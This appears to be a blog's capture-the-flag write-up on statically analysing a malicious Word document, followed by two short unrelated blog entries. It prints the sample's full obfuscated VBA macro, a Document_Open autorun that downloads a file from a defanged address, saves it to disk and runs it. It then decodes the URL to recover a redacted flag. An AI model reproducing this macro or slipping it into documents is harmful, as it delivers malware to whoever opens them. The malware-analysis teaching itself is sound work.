So to get starting running the CTF you need the initial code for the DOCs track which is found on the getting started page…it was PAN{DOCS_START}. Upon entering this you are given a zip file to download (hash: 846CBD76B491FD6F74212A4259FE933A0FEBF3E5EA93D24A91241EDCD98D5EDC). This file contains two items, one the first document named challenge.doc (hash:9BBEDADF4A5A9CC75DDA5F4CCE7416BEDD1B2221BF80BF6C3CC73DFEE9A337CD), and the second is a file simply named “.7z” (hash:B588AAC998556D1F853AD8C3D4D428CEB26B7D38CFD073CC77C82F4C6EF4FA97). We’ll come back to this file in a little bit (as it is a shortcut), but let start with the other file “”.

So what do you do first? Open the file in word? Are you a n00b or insane? probably a little of both…if you’re going to go this route, please make sure that you’re doing it on a machine you can easily clean and have some sort of network monitoring turned on….or a sandbox of somesort.

So you can just open it if you trust the document or know what you’re doing…but don’t trust it, are you even sure its actually a document? You need a tool to determine as much as you can without running it…this is static analysis. Personal I lean on tools that I’ve written, but there are lots of great tools out there and I’m not trying to steer you away or towards any particular tool…I’m just showing you what I did.

So we run it through my FileId tool and get the VBA code out (using the XML or JSON output options). You could also use many other tools, for example: OleTools by Philippe Lagadec, or OleDump by Didier Stevens. In the end you get this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)
Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA
vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value()
gsFEVmmIzO = ""
dHLdiEqdts = 1
While dHLdiEqdts < UBound(HGKuttPaRM) + 2
eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)
gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))
dHLdiEqdts = dHLdiEqdts + 1
Wend
QklkhFEQNB = gsFEVmmIzO
End Function
Public Function BkAIuNwQNDkohBY()
twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _
78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _
12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _
9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _
2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _
30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _
62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _
1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)
UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)
Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))
Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))
xHttp.Open UkIWIEtqCF, twOvwCSTPL, False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2
End With
Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("ppKzr").Value <> "toto" Then
BkAIuNwQNDkohBY
ActiveDocument.Variables("ppKzr").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

Looking at this code I can see a couple of things that stand out:

  1. the QklkhFEQNB function is the string deobfuscation function. You can tell this by its frequency of use and its always called before the string is needed (look for CreateObject)
  2. it does have an autorun functionality (i.e. “Document_Open”), so if we had opened the file and ran the macros it would have done its business

What is its business, well without too much digging we can see that it has a variable named xHttp and xStrm in the BkAIuNwQNDkohBY function and we can see that there is a Shell command. Often variable names are also obfuscated in malicious documents so the fact that they aren’t kind of stands out. So it downloads something, saves it to disk, and executes it.

So first things first we want to see to where it calls home. To accomplish this we have the deobfuscation function in VBA, so lets open M$Word, create a new document, open up the VBA Editor and drop it in.

If you do this you will see that it won’t quite work that simply. If you look carefully at the deobfuscation function you’ll notice it references a document variable:

1
ActiveDocument.Variables("ppKzr").Value()

and in the Document_Open subroutine it references this same variable and sets it to “toto”. Knee-jerk reaction replace that with the static string “toto”….nope won’t work, remember the way the code is written it must NOT be “toto” at first. So we have a couple of options at this point:

  1. We can brute force the value for the “ppKzr” variable
  2. We can try to look up the value
  3. We can just run it though a sandbox, or something monitoring the network traffic involved

At this point I honestly went with option #3 (but we’ll come back to the other two options in other documents in this CTF track)…it was easy and quick.

In the end we have this URL that it tries to call home to (defanged):

1
hXXp://{REDACTED RFC1918 IPv4}/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.executes

well that IP doesn’t help us, its a RFC1918 (or via Wikipedia) private block…but hmmm, that blob in the middle looks base64 encoded…and it even says “b64” but it also has a 0x58 before the blob…we’ll come back to that. So you run the “MDgx…jU=” string through your base64 decoder of choice (I used powershell):

1
2
$s1 = "MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU="
[Convert]::FromBase64String($s1)

You run the above and you’ll get an error immediate error:

1
2
Exception calling "FromBase64String" with "1" argument(s): "The input is not a valid Base-64 string as it contains a non-base 64
character, more than two padding characters, or an illegal character among the padding characters. "

Not a valid base64 string?? hmmm…lets look at that string again…wait there’s a “\n” in that string….ok so we can either take it out or make sure powershell properly escapes it…just change “\n” to “`n” as this is how powershell escapes stuff. So we run it through the base64 decoding function again and it works…but its just a bunch of bytes…but wait there all in a small range. Taking a guess that its an ASCII string I’ll run this powershell command:

1
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($s1))

boom and I get a string (shortened for brevity):

1
081916230e3102313a696b07683634216...68071336682f072f306b2a6b6a3468683325

well that isn’t very interesting, but I think I’m stil on the right track. Now I need to go back to the 0x58…hmmm…I wonder if this an XOR string and perhaps the 0x58 is the key. How would I check this? I’ll turn to another tool DataConverter by Kahu Security (of course there are other tools…)

So I put our string in and mark it as Hex format (looks hex to me), and enter our hex key 0x58 and we get (key is REDACTED for you pleasure):

1
PAN{_REDACTED_}

huh…PAN{blahblahblah} that looks like the key we entered to get this started…lets try it out…

POOF

…it works and we get doc02

Read More

2016-08-13
Stuff and things yet to do

so one of the things this blog is going to try to accomplish is collect all the various items that I’ve put on various places in the web. This means old school projects/papers/writings/thoughts as well as linking to & copying of content that I’ve produced that lives elsewhere on the web.

We’ll see how it goes…

Read More

2016-08-13
first

so i’m trying to start to blog again…not because I want to talk, but because I want one consistant place to put everything…

we’ll see how it goes!

Read More